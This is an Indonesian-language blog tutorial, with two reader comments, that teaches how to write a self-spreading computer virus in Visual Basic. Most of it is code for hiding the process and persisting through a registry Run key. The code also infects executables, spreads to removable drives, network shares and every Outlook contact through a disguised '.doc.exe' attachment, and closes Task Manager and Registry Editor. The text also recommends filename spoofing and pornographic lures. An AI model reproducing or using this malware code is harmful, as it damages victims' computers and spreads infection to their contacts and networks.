Syarat sebuah virus computer :
- Menyembunyikan
prosesnya dari pemakai
- Mengaktifkan
dirinya setiap startup sistem
- Menyebarkan
dirinya melalui media file executable
- Mempercepat
proses penyebarannya melalui media pertukaran data dan informasi
- Mempercepat
penyebarannya dengan memanfaatkan kelemahan dari suatu system
- Menyebarkan
dirinya dengan filename spoofing.
- Mempercepat
proses penyebarannya dengan pendekatan social engineering
- Berusaha
mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan
membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan
bahasa pemrograman Visual Basic.
Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat
digunakan perintah :
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup
system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & "\" & app.EXEName ,
environ$("windir") & "\" & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku",
environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program
executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature
Virus
Sehingga setiap kali program yang telah terinfeksi
dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan
mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program
Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus –
Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap
Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh
menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu
Signature Virus
Private Sub
PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran
lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If
FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor
file
fNum = FreeFile
Open fname For
Binary Access Read As fNum 'Buka file target
Seek fNum,
LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature =
Space$(5)
Get fNum, ,
tSignature 'baca tSignature
Close fNum
If tSignature
<> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo
finally
Open fname
For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum,
, OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program
Virus diawal
Put fNum,
, OriginalCode 'tulis Program Executable
Put fNum,
, virSize 'tulis Ukuran Virus
Put fNum,
, virSignature 'tulis Signature
Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub
VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) +
Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary
Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah
file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature
If tSignature <> virSignature Then 'Jika file virus
sendiri
virSize =
LOF(1) 'ukuran virSize sama dengan ukuran file
virCode =
Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, ,
virCode 'baca virCode sebesar ukuran virSize
Close #1
Call
VirInstall
'instalasi virus
If Not SudahLoad
Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9
+ 1 'pindah file pointer ke posisi virSize
Get #1, ,
virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode =
Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, ,
virCode 'baca virCode sebesar ukuran virSize
OriginalCode =
Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, ,
OriginalCode 'baca originalCode
fNum = 0
Do While
Dir(exePath & App.EXEName & fNum & ".exe") <>
""
fNum = fNum + 1
fname = exePath
& App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For
Binary Access Write As #2
Put #2, ,
OriginalCode 'tulis ke file sementara
Close #2
'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad
Then
Load ff 'aktifkan timer virus
End If
Call
ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub
Private Sub
ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan
fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil
status aktif
Do While HExit = STILL_ACTIVE 'proses
ditahan selama proses masih aktif
DoEvents
'lakukan event yang lain
GetExitCodeProcess
HProc, HExit
End Sub
Private Function
SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan
informasi
Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu
timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela
3½ Floppy (A:) oleh pemakai.
Public Sub
InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy
(A:)")
If Not floppy_hwnd = 0 Then
Call
InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe
jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu
timer. Program ini bekerja dengan senantiasa memantau removable drive diatas
drive C.
Public Sub
InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua
removable drive diatas huruf C adalah flash disk
'1 - Removable
drive
'2 - Fixed drive
(hard disk)
'3 - Mapped
network drive
'4 - CD-ROM drive
'5 - RAM disk
If
ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call
InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada
computer yang terinfeksi :
Public Sub
InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft
Windows Network", shares) = True Then
For Each share In
shares
target = share
Call
InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di
LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam
suatu stack.
Public Sub
AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows
Network", Domains) = True Then
For Each Domain In
Domains
If Not
stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing
Domain maupun Workgroup dalam suatu stack.
Public Sub
AmbilComputer()
Dim Computers() As String, Domain As String, Computer As
Variant
If Not stackDomain.isEmpty() Then
Domain =
stackDomain.Pop()
If
GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each
Computer In Computers
If Not
stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari
masing-masing Computer :
Public Sub
AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer =
stackComputer.Pop()
If
GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive
In Drives
If Not
stackDrive.isFull Then
stackDrive.Push (Drive)
End If
End If
End If
End Sub
Public Sub
InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target =
stackDrive.Pop()
Call
InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub
SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi =
Outlook.GetNamespace("MAPI")
For i = 1 To
Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To
AddressBook.AddressEntries.Count
MailAddress
= AddressBook.AddressEntries(j)
Set Mail =
Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus
Anda"
Mail.Body =
vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\"
& attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook =
Nothing
Set Mapi = Nothing
End Sub
Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini.
Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang
otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus
Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger
program virus.
Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa
ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file
maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat
mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak
digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis
computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang
akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file,
maupun pesan email yang memancing korban untuk penasaran membuka attachment.
Berusaha mempertahankan existensi dirinya
Mencoba mematikan proses-proses program yang berpotensi
untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus
tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools",
0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD",
0, "REG_DWORD"
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub
KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call
KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub
KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang
bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana
penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk
mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit,
sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.
Keberhasilan menerapkan teknik social engineering akan
menentukan kesuksesan dan siklus hidup virus anda.
tapi klau sistem kerjanya virus itu hanya system 32 yang dia serang tohh...
BalasHapusklo virus biasanya yg dia srang cmn regedit sama system32
BalasHapus